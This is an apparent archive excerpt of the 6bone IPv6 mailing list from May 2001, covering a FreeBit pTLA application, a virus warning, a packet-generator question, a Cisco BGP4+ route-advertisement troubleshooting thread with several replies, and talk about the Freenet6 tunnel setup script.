>Address: 211.14.152.21 > >v6-router.Ot.FreeBit.NET internet address = 210.143.144.4 >v6-router.Ot.FreeBit.NET IPv6 address = >3ffe:8085:0:10:250:45ff:fe00:4844 >Ot.FreeBit.NET nameserver = NS1.FreeBit.NET >Ot.FreeBit.NET nameserver = NS2.FreeBit.NET >NS1.FreeBit.NET internet address = 211.14.152.20 >NS1.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:20fb >NS2.FreeBit.NET internet address = 211.14.152.21 >NS2.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:1ee3 > > www.freebit.com >Server: NS2.FreeBit.NET >Address: 211.14.152.21 > >www.freebit.com canonical name = www.FreeBit.NET >freebit.com nameserver = NS2.FreeBit.NET >freebit.com nameserver = NS1.FreeBit.NET >NS1.FreeBit.NET internet address = 211.14.152.20 >NS1.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:20fb >NS2.FreeBit.NET internet address = 211.14.152.21 >NS2.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:1ee3 > > set q=ptr > > 4.4.8.4.0.0.e.f.f.f.5.4.0.5.2.0.0.1.0.0.0.0.0.0.5.8.0.8.e.f.f.3.IP6.INT >Server: NS2.FreeBit.NET >Address: 211.14.152.21 > >4.4.8.4.0.0.e.f.f.f.5.4.0.5.2.0.0.1.0.0.0.0.0.0.5.8.0.8.e.f.f.3.IP6.INT >name = v >6-router.Ot.FreeBit.NET >5.8.0.8.e.f.f.3.IP6.INT nameserver = NS2.FreeBit.NET >5.8.0.8.e.f.f.3.IP6.INT nameserver = NS1.FreeBit.NET >NS1.FreeBit.NET internet address = 211.14.152.20 >NS1.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:20fb >NS2.FreeBit.NET internet address = 211.14.152.21 >NS2.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:1ee3 > > 3.3.f.6.f.8.e.f.f.f.7.b.0.d.2.0.1.0.0.0.0.0.0.0.5.8.0.8.e.f.f.3.IP6.INT >Server: NS2.FreeBit.NET >Address: 211.14.152.21 > >3.3.f.6.f.8.e.f.f.f.7.b.0.d.2.0.1.0.0.0.0.0.0.0.5.8.0.8.e.f.f.3.IP6.INT >name = w >ww.FreeBit.NET >5.8.0.8.e.f.f.3.IP6.INT nameserver = NS2.FreeBit.NET >5.8.0.8.e.f.f.3.IP6.INT nameserver = NS1.FreeBit.NET >NS1.FreeBit.NET internet address = 211.14.152.20 >NS1.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:20fb >NS2.FreeBit.NET internet address = 211.14.152.21 >NS2.FreeBit.NET IPv6 address = 3ffe:8085:0:1:2d0:b7ff:fe91:1ee3 > > > d. A fully maintained, and reliable, IPv6-accessible system > providing, at a mimimum, one or more web pages, describing the > Applicant's IPv6 services. This server must be IPv6 pingable. > > >ping6 www.freebit.com >PING6(56=40+8+8 bytes) 3ffe:8085:0:1:2d0:b7ff:fe8f:6a6a --> >3ffe:8085:0:1:2d0:b7 >ff:fe8f:6f33 >16 bytes from 3ffe:8085:0:1:2d0:b7ff:fe8f:6f33, icmp_seq=0 hlim=64 >time=0.224 ms >^C >--- www.freebit.com ping6 statistics --- >1 packets transmitted, 1 packets received, 0% packet loss >round-trip min/avg/max = 0.224/0.224/0.224 ms > > 2. The pTLA Applicant MUST have the ability and intent to provide > "production-quality" 6Bone backbone service. Applicants must > provide a statement and information in support of this claim. > This MUST include the following: > > a. A support staff of two persons minimum, three preferable, with > person attributes registered for each in the ipv6-site object > for the pTLA applicant. > >admin-c: TI199 >admin-c: WY1-6BONE > > b. A common mailbox for support contact purposes that all support > staff have acess to, pointed to with a notify attribute in the > ipv6-site object for the pTLA Applicant. > >noc@FreeBit.NET > > 3. The pTLA Applicant MUST have a potential "user community" that > would be served by its becoming a pTLA, e.g., the Applicant is a > major provider of Internet service in a region, country, or focus > of interest. Applicant must provide a statement and information in > support this claim. > > We FreeBit.Com Co.,Ltd. are a national ISP at Japan. Our customers are >mainly individual and some corporation. > > 4. The pTLA Applicant MUST commit to abide by the current 6Bone > operational rules and policies as they exist at time of its > application, and agree to abide by future 6Bone backbone > operational rules and policies as they evolve by consensus of the > 6Bone backbone and user community. > >Yes, I commit and agree. -end From horape@tinuviel.compendium.net.ar Wed May 9 14:01:29 2001 From: horape@tinuviel.compendium.net.ar (horape@tinuviel.compendium.net.ar) Date: Wed, 9 May 2001 10:01:29 -0300 Subject: [aocl07711@cableinet.co.uk: Re: Re: Sprint DNS announcement] Message-ID: <20010509100129.A11710@tinuviel.compendium.net.ar> Warning! I´ve received this as answer to a mail to the list with a virus attached. If you receive it it, don´t open. ----- Forwarded message from "A. Hakeem" ----- From: "A. Hakeem" To: Subject: Re: Re: Sprint DNS announcement X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 Date: 9 May 2001 13:36:43 +0100 X-SpamBouncer: 1.3 beta (6/24/00) X-SBClass: OK 'horape@tinuviel.compendium.net.ar' wrote: ==== - ¡Hola! - - Just to remember you to delegate 1.a.9.2.e.f.f.3.ip6.int to - - 1.a.9.2.e.f.f.3.ip6.int. 86400 IN NS puntoar-sgi01.puntoar.net.ar. - 1.a.9.2.e.f.f.3.ip6.int. 86400 IN NS alatariel.puntoar.net.ar. - 1.a.9.2.e.f.f.3.ip6.int. 86400 IN NS tinuviel.compendium.com.ar. - 1.a.9.2.e.f.f.3.ip6.int. 86400 IN NS lutien.compendium.com.ar. - - Thanks, - HoraPe - - On Tue, May 08, 2001 at 03:15:22P ...' > Take a look to the attachment. ----- End forwarded message ----- -- HoraPe --- Horacio J. Peña horape@compendium.com.ar horape@uninet.edu bofh@puntoar.net.ar horape@hcdn.gov.ar From jmcole@lucent.com Wed May 9 15:05:42 2001 From: jmcole@lucent.com (John M Cole) Date: Wed, 9 May 2001 14:05:42 -0000 Subject: Packet Generators Message-ID: <032301c0d891$22cd6ec0$0e6648c2@uk.lucent.com> This is a multi-part message in MIME format. ------=_NextPart_000_0320_01C0D891.222A02D0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Apart from Agilent, who haven't yet released a V6 version, does anyone = know of a Packet generator and receiver test suite, for IPv6? I am = looking at testing some hardware/software (Routers) and require = statistics on IP traffic. Regards John ------=_NextPart_000_0320_01C0D891.222A02D0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Apart from Agilent, who haven't yet = released a V6=20 version, does anyone know of a Packet generator and receiver test = suite,=20 for IPv6?  I am looking at testing some hardware/software (Routers) = and=20 require statistics on IP traffic.
 
Regards
 
John
------=_NextPart_000_0320_01C0D891.222A02D0-- From burgess@mitre.org Wed May 9 17:04:29 2001 From: burgess@mitre.org (Burgess,David B.) Date: Wed, 9 May 2001 11:04:29 -0500 Subject: Packet Generators In-Reply-To: <032301c0d891$22cd6ec0$0e6648c2@uk.lucent.com> Message-ID: <004901c0d8a1$bbe42800$2500a8c0@omaha.mitre.org> This is a multi-part message in MIME format. ------=_NextPart_000_004A_01C0D877.D30E2000 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit While I don't have a good packet generator system for you, NeTraMet is available for statistics on IP v6 (and v4) traffic. -----Original Message----- From: owner-6bone@ISI.EDU [mailto:owner-6bone@ISI.EDU]On Behalf Of John M Cole Sent: Wednesday, May 09, 2001 9:06 AM To: 6bone@ISI.EDU Subject: Packet Generators Apart from Agilent, who haven't yet released a V6 version, does anyone know of a Packet generator and receiver test suite, for IPv6? I am looking at testing some hardware/software (Routers) and require statistics on IP traffic. Regards John ------=_NextPart_000_004A_01C0D877.D30E2000 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
While=20 I don't have a good packet generator system for you, NeTraMet is = available for=20 statistics on IP v6 (and v4) traffic.
-----Original Message-----
From: = owner-6bone@ISI.EDU=20 [mailto:owner-6bone@ISI.EDU]On Behalf Of John M = Cole
Sent:=20 Wednesday, May 09, 2001 9:06 AM
To: = 6bone@ISI.EDU
Subject:=20 Packet Generators

Apart from Agilent, who haven't yet = released a V6=20 version, does anyone know of a Packet generator and receiver test = suite,=20 for IPv6?  I am looking at testing some hardware/software = (Routers) and=20 require statistics on IP traffic.
 
Regards
 
John
------=_NextPart_000_004A_01C0D877.D30E2000-- From sohail_rao@yahoo.com Fri May 11 10:17:01 2001 From: sohail_rao@yahoo.com (Sohail Ghaffar Rao) Date: Fri, 11 May 2001 02:17:01 -0700 (PDT) Subject: problem in BGP4+ Message-ID: <20010511091701.16022.qmail@web12907.mail.yahoo.com> Dear group, Can anyone help me why cant I advertise any routes via BGP4+. There is no problem in receiving prefixes though. Following is my configuration. The hardware is a Cisco 7206 router. IPv6-gw#sh run Building configuration... Current configuration : 1700 bytes ! version 12.2 no service single-slot-reload-enable service timestamps debug uptime service timestamps log uptime no service password-encryption ! hostname IPv6-gw ! logging rate-limit console 10 except errors enable secret 5 $1$5d01$F426.pKlZweJnP2QMgemo1 ! ip subnet-zero ! ! no ip finger ! no ip dhcp-client network-discovery ipv6 unicast-routing no mgcp timer receive-rtcp call rsvp-sync ! ! ! ! ! ! ! ! ! interface Tunnel0 description tunnel to sprint 3ffe:2900:a:d::1 rrockel@sprint.net no ip address ipv6 enable ipv6 address 3FFE:2900:A:D::2/64 tunnel source 217.31.228.62 tunnel destination 208.19.223.30 tunnel mode ipv6ip ! interface Tunnel1 description tunnel to viagenie 3ffe:b00:c18::84 ipv6@viagenie.qc.ca no ip address ipv6 enable ipv6 address 3FFE:B00:C18::85/64 tunnel source 217.31.228.62 tunnel destination 206.123.31.101 tunnel mode ipv6ip ! interface FastEthernet0/0 no ip address shutdown duplex half ! interface FastEthernet1/0 ip address 217.31.228.93 255.255.255.224 duplex full ! interface FastEthernet3/0 description IPv6 domain interface ip address 217.31.228.62 255.255.255.240 duplex half ipv6 address 3FFE:2900:A00D:1::1/64 ! router bgp 15897 no bgp default ipv4-unicast bgp log-neighbor-changes neighbor 3FFE:B00:C18::84 remote-as 10566 ! address-family ipv6 neighbor 3FFE:B00:C18::84 activate network 3FFE:2900:A00D::/48 exit-address-family ! ip classless ip route 0.0.0.0 0.0.0.0 217.31.228.94 no ip http server ! ipv6 route 3FFE:2900::/24 3FFE:2900:A:D::1 ipv6 route ::/0 3FFE:B00:C18::84 ! ! ! ! ! gatekeeper shutdown ! ! line con 0 transport input none line aux 0 line vty 0 4 password $1$5d01$F426.pKlZweJnP2QMgemo1 login line vty 5 15 login ! ! end __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From twarwick@cisco.com Fri May 11 11:07:34 2001 From: twarwick@cisco.com (Trevor Warwick) Date: Fri, 11 May 2001 11:07:34 +0100 Subject: problem in BGP4+ In-Reply-To: <20010511091701.16022.qmail@web12907.mail.yahoo.com> Message-ID: <4.3.2.7.2.20010511110543.033de0f0@jaws.cisco.com> Sohail, Please contact ipv6-support@cisco.com for questions about Cisco IOS IPv6 EFT software. Thanks, Trevor At 11/05/2001, Sohail Ghaffar Rao wrote: >Dear group, > >Can anyone help me why cant I advertise any routes via >BGP4+. There is no problem in receiving prefixes >though. Following is my configuration. The hardware is >a Cisco 7206 router. > >IPv6-gw#sh run >Building configuration... > >Current configuration : 1700 bytes >! >version 12.2 >no service single-slot-reload-enable >service timestamps debug uptime >service timestamps log uptime >no service password-encryption >! >hostname IPv6-gw >! >logging rate-limit console 10 except errors >enable secret 5 $1$5d01$F426.pKlZweJnP2QMgemo1 >! >ip subnet-zero >! >! >no ip finger >! >no ip dhcp-client network-discovery >ipv6 unicast-routing >no mgcp timer receive-rtcp >call rsvp-sync >! >! >! >! >! >! >! >! >! >interface Tunnel0 > description tunnel to sprint 3ffe:2900:a:d::1 >rrockel@sprint.net > no ip address > ipv6 enable > ipv6 address 3FFE:2900:A:D::2/64 > tunnel source 217.31.228.62 > tunnel destination 208.19.223.30 > tunnel mode ipv6ip >! >interface Tunnel1 > description tunnel to viagenie 3ffe:b00:c18::84 >ipv6@viagenie.qc.ca > no ip address > ipv6 enable > ipv6 address 3FFE:B00:C18::85/64 > tunnel source 217.31.228.62 > tunnel destination 206.123.31.101 > tunnel mode ipv6ip >! >interface FastEthernet0/0 > no ip address > shutdown > duplex half >! >interface FastEthernet1/0 > ip address 217.31.228.93 255.255.255.224 > duplex full >! >interface FastEthernet3/0 > description IPv6 domain interface > ip address 217.31.228.62 255.255.255.240 > duplex half > ipv6 address 3FFE:2900:A00D:1::1/64 >! >router bgp 15897 > no bgp default ipv4-unicast > bgp log-neighbor-changes > neighbor 3FFE:B00:C18::84 remote-as 10566 > ! > address-family ipv6 > neighbor 3FFE:B00:C18::84 activate > network 3FFE:2900:A00D::/48 > exit-address-family >! >ip classless >ip route 0.0.0.0 0.0.0.0 217.31.228.94 >no ip http server >! >ipv6 route 3FFE:2900::/24 3FFE:2900:A:D::1 >ipv6 route ::/0 3FFE:B00:C18::84 >! >! >! >! >! >gatekeeper > shutdown >! >! >line con 0 > transport input none >line aux 0 >line vty 0 4 > password $1$5d01$F426.pKlZweJnP2QMgemo1 > login >line vty 5 15 > login >! >! >end > > > >__________________________________________________ >Do You Yahoo!? >Yahoo! Auctions - buy the things you want at great prices >http://auctions.yahoo.com/ From jch@oleane.net Fri May 11 11:46:02 2001 From: jch@oleane.net (Jean-Claude Christophe) Date: Fri, 11 May 2001 12:46:02 +0200 Subject: problem in BGP4+ In-Reply-To: <20010511091701.16022.qmail@web12907.mail.yahoo.com>; from sohail_rao@yahoo.com on Fri, May 11, 2001 at 02:17:01AM -0700 References: <20010511091701.16022.qmail@web12907.mail.yahoo.com> Message-ID: <20010511124602.A96007@oleane.net> > Dear group, > > Can anyone help me why cant I advertise any routes via > BGP4+. There is no problem in receiving prefixes > though. Following is my configuration. The hardware is > a Cisco 7206 router. The goal of BGP is to reditribute route. There are no 'redistribute in your BGP configuration', you have to add it. Make a global route 'ipv6 route 3FFE:2900:A00D::/48 Null0 254' and add 'redistribute static' in your BGP configuration. > ! > router bgp 15897 > no bgp default ipv4-unicast > bgp log-neighbor-changes > neighbor 3FFE:B00:C18::84 remote-as 10566 > ! > address-family ipv6 > neighbor 3FFE:B00:C18::84 activate > network 3FFE:2900:A00D::/48 > exit-address-family Regards, -- Jean-Claude Christophe / jch@oleane.net / France Telecom Transpac From nhua@biigroup.com Fri May 11 14:37:22 2001 From: nhua@biigroup.com (Hua Ning) Date: Fri, 11 May 2001 21:37:22 +0800 Subject: problem in BGP4+ References: <20010511091701.16022.qmail@web12907.mail.yahoo.com> Message-ID: <002d01c0da1f$85bbc290$b3046aca@hmobile> hi , I suppose you forget to define the prefix-list . Pls add the two line following. neighbor 3FFE:B00:C18::84 prefix-list viagenia-in in neighbor 3FFE:B00:C18::84 prefix-list viagenia-out out Good luck _________________________________________________ Hua Ning Chief Engineer BII Group Holdings Ltd(Beijing Internet-networking Institute), 110E 11F China Merchants Tower, No.2 Dong Huan Nan Lu, Chao Yang District, Beijing,China Zip Code: 100022 Tel:+86-10-65660290-223 Fax:+86-10-65660297 _________________________________________________ ----- Original Message ----- From: "Sohail Ghaffar Rao" To: <6bone@ISI.EDU> Sent: Friday, May 11, 2001 5:17 PM Subject: problem in BGP4+ > Dear group, > > Can anyone help me why cant I advertise any routes via > BGP4+. There is no problem in receiving prefixes > though. Following is my configuration. The hardware is > a Cisco 7206 router. > > IPv6-gw#sh run > Building configuration... > > Current configuration : 1700 bytes > ! > version 12.2 > no service single-slot-reload-enable > service timestamps debug uptime > service timestamps log uptime > no service password-encryption > ! > hostname IPv6-gw > ! > logging rate-limit console 10 except errors > enable secret 5 $1$5d01$F426.pKlZweJnP2QMgemo1 > ! > ip subnet-zero > ! > ! > no ip finger > ! > no ip dhcp-client network-discovery > ipv6 unicast-routing > no mgcp timer receive-rtcp > call rsvp-sync > ! > ! > ! > ! > ! > ! > ! > ! > ! > interface Tunnel0 > description tunnel to sprint 3ffe:2900:a:d::1 > rrockel@sprint.net > no ip address > ipv6 enable > ipv6 address 3FFE:2900:A:D::2/64 > tunnel source 217.31.228.62 > tunnel destination 208.19.223.30 > tunnel mode ipv6ip > ! > interface Tunnel1 > description tunnel to viagenie 3ffe:b00:c18::84 > ipv6@viagenie.qc.ca > no ip address > ipv6 enable > ipv6 address 3FFE:B00:C18::85/64 > tunnel source 217.31.228.62 > tunnel destination 206.123.31.101 > tunnel mode ipv6ip > ! > interface FastEthernet0/0 > no ip address > shutdown > duplex half > ! > interface FastEthernet1/0 > ip address 217.31.228.93 255.255.255.224 > duplex full > ! > interface FastEthernet3/0 > description IPv6 domain interface > ip address 217.31.228.62 255.255.255.240 > duplex half > ipv6 address 3FFE:2900:A00D:1::1/64 > ! > router bgp 15897 > no bgp default ipv4-unicast > bgp log-neighbor-changes > neighbor 3FFE:B00:C18::84 remote-as 10566 > ! > address-family ipv6 > neighbor 3FFE:B00:C18::84 activate > network 3FFE:2900:A00D::/48 > exit-address-family > ! > ip classless > ip route 0.0.0.0 0.0.0.0 217.31.228.94 > no ip http server > ! > ipv6 route 3FFE:2900::/24 3FFE:2900:A:D::1 > ipv6 route ::/0 3FFE:B00:C18::84 > ! > ! > ! > ! > ! > gatekeeper > shutdown > ! > ! > line con 0 > transport input none > line aux 0 > line vty 0 4 > password $1$5d01$F426.pKlZweJnP2QMgemo1 > login > line vty 5 15 > login > ! > ! > end > > > > __________________________________________________ > Do You Yahoo!? > Yahoo! Auctions - buy the things you want at great prices > http://auctions.yahoo.com/ > From Robert.Kiessling@de.easynet.net Fri May 11 15:21:21 2001 From: Robert.Kiessling@de.easynet.net (Robert Kiessling) Date: Fri, 11 May 2001 16:21:21 +0200 Subject: problem in BGP4+ In-Reply-To: <20010511091701.16022.qmail@web12907.mail.yahoo.com> References: <20010511091701.16022.qmail@web12907.mail.yahoo.com> Message-ID: <15099.62817.783668.393318@doncamillo.local.easynet.de> Sohail Ghaffar Rao writes: > Can anyone help me why cant I advertise any routes via > BGP4+. Add ipv6 route 3FFE:2900:A00D::/48 null0 But make sure that you know that you really want to advertise a /48 prefix. Robert From pekkas@netcore.fi Fri May 11 15:36:49 2001 From: pekkas@netcore.fi (Pekka Savola) Date: Fri, 11 May 2001 17:36:49 +0300 (EEST) Subject: problem in BGP4+ In-Reply-To: <20010511091701.16022.qmail@web12907.mail.yahoo.com> Message-ID: On Fri, 11 May 2001, Sohail Ghaffar Rao wrote: > Dear group, > > Can anyone help me why cant I advertise any routes via > BGP4+. There is no problem in receiving prefixes > though. Following is my configuration. The hardware is > a Cisco 7206 router. Your BGP neighbor isn't on the connected interface, but farther away. You probably need an ebgp-multihop definition. Next-hop-self might not be a bad idea either. See Cisco BGP documentation. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords From miguel.sotos@rediris.es Fri May 11 15:52:53 2001 From: miguel.sotos@rediris.es (Miguel Angel Sotos - NOC) Date: Fri, 11 May 2001 16:52:53 +0200 Subject: problem in BGP4+ References: <20010511091701.16022.qmail@web12907.mail.yahoo.com> Message-ID: <3AFBFCC5.37A2833@rediris.es> Sohail Ghaffar Rao wrote: > > Dear group, > > Can anyone help me why cant I advertise any routes via > BGP4+. There is no problem in receiving prefixes > though. Following is my configuration. The hardware is > a Cisco 7206 router. > Is the neighbor a CISCO router? If it's an Ericcson-Telebit router you have to add: neighbor x:x:x:x:x:x:x:x override-capability-neg (I don't know if it works with other kind of routers...) -- Miguel Sotos From jesper@skriver.dk Fri May 11 15:57:04 2001 From: jesper@skriver.dk (Jesper Skriver) Date: Fri, 11 May 2001 16:57:04 +0200 Subject: problem in BGP4+ In-Reply-To: <20010511091701.16022.qmail@web12907.mail.yahoo.com>; from sohail_rao@yahoo.com on Fri, May 11, 2001 at 02:17:01AM -0700 References: <20010511091701.16022.qmail@web12907.mail.yahoo.com> Message-ID: <20010511165704.B30468@skriver.dk> For network commands to work, you need a explicit match, as you do with IPv4 ipv6 route 3FFE:2900:A00D::/48 null0 should do it /Jesper On Fri, May 11, 2001 at 02:17:01AM -0700, Sohail Ghaffar Rao wrote: > Dear group, > > Can anyone help me why cant I advertise any routes via > BGP4+. There is no problem in receiving prefixes > though. Following is my configuration. The hardware is > a Cisco 7206 router. > > IPv6-gw#sh run > Building configuration... > > Current configuration : 1700 bytes > ! > version 12.2 > no service single-slot-reload-enable > service timestamps debug uptime > service timestamps log uptime > no service password-encryption > ! > hostname IPv6-gw > ! > logging rate-limit console 10 except errors > enable secret 5 $1$5d01$F426.pKlZweJnP2QMgemo1 > ! > ip subnet-zero > ! > ! > no ip finger > ! > no ip dhcp-client network-discovery > ipv6 unicast-routing > no mgcp timer receive-rtcp > call rsvp-sync > ! > ! > ! > ! > ! > ! > ! > ! > ! > interface Tunnel0 > description tunnel to sprint 3ffe:2900:a:d::1 > rrockel@sprint.net > no ip address > ipv6 enable > ipv6 address 3FFE:2900:A:D::2/64 > tunnel source 217.31.228.62 > tunnel destination 208.19.223.30 > tunnel mode ipv6ip > ! > interface Tunnel1 > description tunnel to viagenie 3ffe:b00:c18::84 > ipv6@viagenie.qc.ca > no ip address > ipv6 enable > ipv6 address 3FFE:B00:C18::85/64 > tunnel source 217.31.228.62 > tunnel destination 206.123.31.101 > tunnel mode ipv6ip > ! > interface FastEthernet0/0 > no ip address > shutdown > duplex half > ! > interface FastEthernet1/0 > ip address 217.31.228.93 255.255.255.224 > duplex full > ! > interface FastEthernet3/0 > description IPv6 domain interface > ip address 217.31.228.62 255.255.255.240 > duplex half > ipv6 address 3FFE:2900:A00D:1::1/64 > ! > router bgp 15897 > no bgp default ipv4-unicast > bgp log-neighbor-changes > neighbor 3FFE:B00:C18::84 remote-as 10566 > ! > address-family ipv6 > neighbor 3FFE:B00:C18::84 activate > network 3FFE:2900:A00D::/48 > exit-address-family > ! > ip classless > ip route 0.0.0.0 0.0.0.0 217.31.228.94 > no ip http server > ! > ipv6 route 3FFE:2900::/24 3FFE:2900:A:D::1 > ipv6 route ::/0 3FFE:B00:C18::84 > ! > ! > ! > ! > ! > gatekeeper > shutdown > ! > ! > line con 0 > transport input none > line aux 0 > line vty 0 4 > password $1$5d01$F426.pKlZweJnP2QMgemo1 > login > line vty 5 15 > login > ! > ! > end > > > > __________________________________________________ > Do You Yahoo!? > Yahoo! Auctions - buy the things you want at great prices > http://auctions.yahoo.com/ > /Jesper -- Jesper Skriver, jesper(at)skriver(dot)dk - CCIE #5456 Work: Network manager @ AS3292 (Tele Danmark DataNetworks) Private: FreeBSD committer @ AS2109 (A much smaller network ;-) One Unix to rule them all, One Resolver to find them, One IP to bring them all and in the zone to bind them. From aversini@isdnet.net Fri May 11 17:05:51 2001 From: aversini@isdnet.net (Antoine Versini) Date: Fri, 11 May 2001 18:05:51 +0200 Subject: problem in BGP4+ References: <20010511091701.16022.qmail@web12907.mail.yahoo.com> <15099.62817.783668.393318@doncamillo.local.easynet.de> Message-ID: <3AFC0DDF.752D351B@isdnet.net> Robert Kiessling wrote: > > Sohail Ghaffar Rao writes: > > Can anyone help me why cant I advertise any routes via > > BGP4+. > > Add > > ipv6 route 3FFE:2900:A00D::/48 null0 > > But make sure that you know that you really want to advertise a /48 > prefix. Most pTLA core routers will filter this, anyway. -- Antoine Versini - aversini@isdnet.net / antoine.versini@cw.com Cable & Wireless Europe Global Network Operations: Network Build Cable & Wireless France: Backbone deployement project manager From hansolofalcon@worldnet.att.net Sat May 12 15:08:07 2001 From: hansolofalcon@worldnet.att.net (Gregg C Levine) Date: Sat, 12 May 2001 10:08:07 -0400 Subject: Successful activation of the script from Freenet (Repost) Message-ID: Hello from Gregg C Levine normally with Jedi Knight Computers I just succeded in running the script supplied by Freenet, on my Linux setup. It is a Slackware based one. ------------------- Gregg C Levine mailto:hansolofalcon@att.net ------------------------------------------------------------ "The Force will be with you...Always." Obi-Wan Kenobi "Use the Force, Luke." Obi-Wan Kenobi (This company dedicates this E-Mail to General Obi-Wan Kenobi (Perhaps one of the most powerful of all of the Jedi Knights)) (This company dedicates this E-Mail to Master Yoda (Perhaps the other one of the most powerful of all of the Jedi Knights)) And the favorite line by Anonymous "May the Force be with you." From tkeats@rainbowcomputersystems.com Sat May 12 22:03:29 2001 From: tkeats@rainbowcomputersystems.com (Thomas Keats) Date: Sat, 12 May 2001 18:03:29 -0300 (ADT) Subject: Successful activation of the script from Freenet (Repost) In-Reply-To: Message-ID: which script would this one be??? and where can i find it? Thomas Rainbow Computer Systems http://www.rainbowcomputersystems.com Your source for Linux Compatible Hardware. -------- Compatibility Statement. -------- We read formats created in .txt wordperfect, and MSWord97 or earlier, all other communications will be filtered out and 'misplaced' Thank you for your co-operation. On Sat, 12 May 2001, Gregg C Levine wrote: > Hello from Gregg C Levine normally with Jedi Knight Computers > I just succeded in running the script supplied by Freenet, on my Linux > setup. It is a Slackware based one. > ------------------- > Gregg C Levine mailto:hansolofalcon@att.net > ------------------------------------------------------------ > "The Force will be with you...Always." Obi-Wan Kenobi > "Use the Force, Luke." Obi-Wan Kenobi > (This company dedicates this E-Mail to General Obi-Wan Kenobi (Perhaps > one of the most powerful of all of the Jedi Knights)) > (This company dedicates this E-Mail to Master Yoda > (Perhaps the other one of the most powerful of all of the Jedi > Knights)) > And the favorite line by Anonymous "May the Force be with you." > From hansolofalcon@worldnet.att.net Sun May 13 01:56:33 2001 From: hansolofalcon@worldnet.att.net (Gregg C Levine) Date: Sat, 12 May 2001 20:56:33 -0400 Subject: Successful activation of the script from Freenet (Repost) Message-ID: Hello from Gregg C Levine still with Jedi Knight Computers (Reposting because the list is taking a slow route!) I should have mentioned this fact earlier but here it goes anyway. That script gets generated by the folks at Freenet, via the website at www.freenet6.net . Follow the instructions there regarding registration. Save then run the perl script it will return. Make certain that the module for IPv6 has been previously loaded before continuing. I suggest doing this before connecting via your service provider. Gregg C Levine mailto:hansolofalcon@worldnet.att.net <> > which script would this one be??? and where can i find it? > > > Thomas > > > Rainbow Computer Systems > http://www.rainbowcomputersystems.com > Your source for Linux Compatible Hardware. > > -------- Compatibility Statement. -------- > > We read formats created in .txt wordperfect, > and MSWord97 or earlier, all other communications > will be filtered out and 'misplaced' > Thank you for your co-operation. > > > On Sat, 12 May 2001, Gregg C Levine wrote: > > > Hello from Gregg C Levine normally with Jedi Knight Computers > > I just succeded in running the script supplied by Freenet, on my Linux > > setup. It is a Slackware based one. > > ------------------- > > Gregg C Levine mailto:hansolofalcon@att.net > > ------------------------------------------------------------ > > "The Force will be with you...Always." Obi-Wan Kenobi > > "Use the Force, Luke." Obi-Wan Kenobi > > (This company dedicates this E-Mail to General Obi-Wan Kenobi (Perhaps > > one of the most powerful of all of the Jedi Knights)) > > (This company dedicates this E-Mail to Master Yoda > > (Perhaps the other one of the most powerful of all of the Jedi > > Knights)) > > And the favorite line by Anonymous "May the Force be with you." > > > From tkeats@rainbowcomputersystems.com Sun May 13 06:03:17 2001 From: tkeats@rainbowcomputersystems.com (Thomas Keats) Date: Sun, 13 May 2001 02:03:17 -0300 (ADT) Subject: Successful activation of the script from Freenet (Repost) In-Reply-To: Message-ID: whoa nelly, 'i been spammed' Rainbow Computer Systems http://www.rainbowcomputersystems.com Your source for Linux Compatible Hardware. -------- Compatibility Statement. -------- We read formats created in .txt wordperfect, and MSWord97 or earlier, all other communications will be filtered out and 'misplaced' Thank you for your co-operation. On Sat, 12 May 2001, Gregg C Levine wrote: > Hello from Gregg C Levine still with Jedi Knight Computers > (Reposting because the list is taking a slow route!) > I should have mentioned this fact earlier but here it > goes anyway. That script gets generated by the folks at > Freenet, via the website at www.freenet6.net . Follow the > instructions there regarding registration. Save then run > the perl script it will return. Make certain that the > module for IPv6 has been previously loaded before > continuing. I suggest doing this before connecting via > your service provider. > Gregg C Levine mailto:hansolofalcon@worldnet.att.net > <> > > which script would this one be??? and where can i find it? > > > > > > Thomas > > > > > > Rainbow Computer Systems > > http://www.rainbowcomputersystems.com > > Your source for Linux Compatible Hardware. > > > > -------- Compatibility Statement. -------- > > > > We read formats created in .txt wordperfect, > > and MSWord97 or earlier, all other communications > > will be filtered out and 'misplaced' > > Thank you for your co-operation. > > > > > > On Sat, 12 May 2001, Gregg C Levine wrote: > > > > > Hello from Gregg C Levine normally with Jedi Knight Computers > > > I just succeded in running the script supplied by Freenet, on my > Linux > > > setup. It is a Slackware based one. > > > ------------------- > > > Gregg C Levine mailto:hansolofalcon@att.net > > > ------------------------------------------------------------ > > > "The Force will be with you...Always." Obi-Wan Kenobi > > > "Use the Force, Luke." Obi-Wan Kenobi > > > (This company dedicates this E-Mail to General Obi-Wan Kenobi > (Perhaps > > > one of the most powerful of all of the Jedi Knights)) > > > (This company dedicates this E-Mail to Master Yoda > > > (Perhaps the other one of the most powerful of all of the Jedi > > > Knights)) > > > And the favorite line by Anonymous "May the Force be with you." > > > > > > > From ingman@mail.ru Mon May 14 05:19:12 2001 From: ingman@mail.ru (Igor Konev) Date: Mon, 14 May 2001 10:19:12 +0600 Subject: remove Message-ID: <002001c0dc2d$08bdf640$9801a8c0@konev> This is a multi-part message in MIME format. ------=_NextPart_000_001D_01C0DC5F.52147490 Content-Type: text/plain; charset="koi8-r" Content-Transfer-Encoding: quoted-printable ------=_NextPart_000_001D_01C0DC5F.52147490 Content-Type: text/html; charset="koi8-r" Content-Transfer-Encoding: quoted-printable
 
